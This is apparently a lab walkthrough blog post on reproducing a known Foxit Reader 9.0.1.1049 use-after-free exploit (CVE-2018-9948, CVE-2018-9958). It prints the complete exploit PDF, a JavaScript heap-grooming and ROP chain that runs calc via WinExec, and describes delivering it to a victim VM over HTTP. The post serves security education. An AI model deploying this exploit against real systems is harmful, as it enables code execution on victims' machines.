Foxit Reader 9.0.1.1049 — Remote Code Execution

Kevin Brown
8 min readJun 11, 2021

--

Below is a step-by-step guide to a known vulnerability within Foxit Reader v9.0.1.1049

Foxit Reader is a popular PDF tool with over 650 million users from 200 countries.

  1. Information about the CVE
  2. Setting up the lab
  3. Steps taken to replicate the exploit
  4. A rundown of the Python code used
  5. Reflection

CVE Info -

Related CVE -

What does that mean?

A remote code execution attack takes over a system using malware. In this case, the method is a malicious PDF exploiting a use-after-free weakness. A use-after-free exploit can cause data corruption, program crashes, and the execution of arbitrary code on a computer running the vulnerable software.

Lab setup

For this lab, I will utilize two virtual machines through VirtualBox: a Kali Linux as the attacker, and a Windows 10 VM as the target. I will download an app and some code.

Kali Linux VM

Windows 10 VM

Locate our exploit and download the vulnerable app

First,I head over to exploit-db.com and search “Foxit”.

As you can see there are many to choose from. The one I want is titled “Foxit Reader 9.0.1.1049 — Remote Code Execution”

I will then download both the exploit and the vulnerable app circled in red below.

Downloading and installing Foxit reader is straightforward, just click through the prompts and I’m done there. Next is the text from the exploit I downloaded. Below is the entire script, written and beautifully annotated by Steven Seeley. Any text between a */ and /* are comments explaining what each line of code is doing.

%PDF 
1 0 obj
<</Pages 1 0 R /OpenAction 2 0 R>>
2 0 obj
<</S /JavaScript /JS (

/*
Foxit Reader Remote Code Execution Exploit
==========================================

Written by: Steven Seeley (mr_me) of Source Incite
Date: 22/06/2018
Technical details: https://srcincite.io/blog/2018/06/22/foxes-among-us-foxit-reader-vulnerability-discovery-and-exploitation.html
Download: https://www.foxitsoftware.com/downloads/latest.php?product=Foxit-Reader&platform=Windows&version=9.0.1.1049&package_type=exe&language=English
Target version: Foxit Reader v9.0.1.1049 (sha1: e3bf26617594014f4af2ef2b72b4a86060ec229f)
Tested on:
1. Windows 7 Ultimate x86 build 6.1.7601 sp1
2. Windows 10 Pro x86 v1803 build 10.0.17134
Vulnerabilities leveraged:
1. CVE-2018-9948
2. CVE-2018-9958
*/

var heap_ptr = 0;
var foxit_base = 0;
var pwn_array = [];

function prepare_heap(size){
/*
This function prepares the heap state between allocations
and frees to get a predictable memory address back.
*/
var arr = new Array(size);
for(var i = 0; i < size; i++){
arr[i] = this.addAnnot({type: "Text"});;
if (typeof arr[i] == "object"){
arr[i].destroy();
}
}
}

function gc() {
/*
This is a simple garbage collector, written by the notorious @saelo
Greetz, mi amigo.
*/
const maxMallocBytes = 128 * 0x100000;
for (var i = 0; i < 3; i++) {
var x = new ArrayBuffer(maxMallocBytes);
}
}

function alloc_at_leak(){
/*
This is the function that allocates at the leaked address
*/
for (var i = 0; i < 0x64; i++){
pwn_array[i] = new Int32Array(new ArrayBuffer(0x40));
}
}

function control_memory(){
/*
This is the function that fills the memory address that we leaked
*/
for (var i = 0; i < 0x64; i++){
for (var j = 0; j < pwn_array[i].length; j++){
pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4
}
}
}

function leak_vtable(){
/*
Foxit Reader Typed Array Uninitialized Pointer Information Disclosure Vulnerability
ZDI-CAN-5380 / ZDI-18-332 / CVE-2018-9948
Found by: bit from meepwn team
*/

// alloc
var a = this.addAnnot({type: "Text"});

// free
a.destroy();
gc();

// kinda defeat lfh randomization in win 10
prepare_heap(0x400);

// reclaim
var test = new ArrayBuffer(0x60);
var stolen = new Int32Array(test);

// leak the vtable
var leaked = stolen[0] & 0xffff0000;

// a hard coded offset to FoxitReader.exe base v9.0.1.1049 (a01a5bde0699abda8294d73544a1ec6b4115fa68)
foxit_base = leaked - 0x01f50000;
}

function leak_heap_chunk(){
/*
Foxit Reader Typed Array Uninitialized Pointer Information Disclosure Vulnerability
ZDI-CAN-5380 / ZDI-18-332 / CVE-2018-9948
Found by: bit from meepwn team
*/

// alloc
var a = this.addAnnot({type: "Text"});

// free
a.destroy();

// kinda defeat lfh randomization in win 10
prepare_heap(0x400);

// reclaim
var test = new ArrayBuffer(0x60);
var stolen = new Int32Array(test);

// alloc at the freed location
alloc_at_leak();

// leak a heap chunk of size 0x40
heap_ptr = stolen[1];
}

function reclaim(){
/*
This function reclaims the freed chunk, so we can get rce and I do it a few times for reliability.
All gadgets are from FoxitReader.exe v9.0.1.1049 (a01a5bde0699abda8294d73544a1ec6b4115fa68)
*/

var arr = new Array(0x10);
for (var i = 0; i < arr.length; i++) {
arr[i] = new ArrayBuffer(0x60);
var rop = new Int32Array(arr[i]);

rop[0x00] = heap_ptr; // pointer to our stack pivot from the TypedArray leak
rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret
rop[0x02] = 0x72727272; // junk
rop[0x03] = foxit_base + 0x00001450 // pop ebp; ret
rop[0x04] = 0xffffffff; // ret of WinExec
rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret
rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec
rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret
rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret
rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret
rop[0x0a] = foxit_base + 0x0041c6ca; // ret
rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret
rop[0x0c] = 0x636c6163; // calc
rop[0x0d] = 0x00000000; // adios, amigo

for (var j = 0x0e; j < rop.length; j++) {
rop[j] = 0x71727374;
}
}
}

function trigger_uaf(){
/*
Foxit Reader Text Annotations point Use-After-Free Remote Code Execution Vulnerability
ZDI-CAN-5620 / ZDI-18-342 / CVE-2018-9958
Found by: Steven Seeley (mr_me) of Source Incite
*/

var that = this;
var a = this.addAnnot({type:"Text", page: 0, name:"uaf"});
var arr = [1];
Object.defineProperties(arr,{
"0":{
get: function () {

// free
that.getAnnot(0, "uaf").destroy();

// reclaim freed memory
reclaim();
return 1;
}
}
});

// re-use
a.point = arr;
}

function main(){

// 1. Leak a heap chunk of size 0x40
leak_heap_chunk();

// 2. Leak vtable and calculate the base of Foxit Reader
leak_vtable();

// 3. Then fill the memory region from step 1 with a stack pivot
control_memory();

// 4. Trigger the uaf, reclaim the memory, pivot to rop and win
trigger_uaf();
}

if (app.platform == "WIN"){
if (app.isFoxit == "Foxit Reader"){
if (app.appFoxitVersion == "9.0.1.1049"){
main();
}
}
}

)>> trailer <</Root 1 0 R>>

Now from here, there are a few different ways I can go about this. As a proof of concept you don't even need an attacking machine, or in this case, Kali Linux to demonstrate the vulnerability, you can just convert the downloaded text to a PDF and then open it using Foxit Reader; but for added fun, I decided to go that route.

I will go to the same Exploit-DB page and download our code or exploit it again.

From here all I did next was change the name of the downloaded .txt file and also put a .pdf at the end.

As the attacker, I want to get this malicious PDF on my victim's machine. There are many ways to do this. There is actually an exploit available within Metasploit itself, and ways to spawn a reverse shell and gain access to the victim's machine that way. I am going to go a simpler route, as this is more a proof of concept on the vulnerability itself. So, I will start a simple Python server and connect to it via HTTP on my Windows victim machine to download the malicious PDF.

So I open up a terminal and enter in the below. I make sure I am in the Desktop directory, where I moved the PDF earlier.

Now I hop over to the victim machine, connect to the server, and download the file.

I will want to right-click on the Foxit_Exploit.pdf and select “save target as”, then save it to my desktop.

Now, all I need to do is right-click the exploit and open it with Foxit Reader.

Whoa, what just happened there? My payload in this case is just triggering the reuse of previously free memory to allow me to run arbitrary code execution. The payload is not spawning a reverse shell or giving us any access, but that is something that can definitely be done. This is just an example of how easy it is to create a malicious pdf and how quickly someone can take advantage of the vulnerability.

Reflection

The first thing that comes to mind is to make sure your software is always up to date and never open any attachments unless you were expecting them, especially not from someone you don't know. However, Foxit Reader does not have many protections against memory corruption vulnerabilities. Foxit does have a complete list of security fixes in their latest release where they say that have addressed memory corruption vulnerabilities.

I was not surprised to find a vulnerability in a widely used application as this seems all too common these days, but I was surprised at how quick and easy this can be exploited.

--

--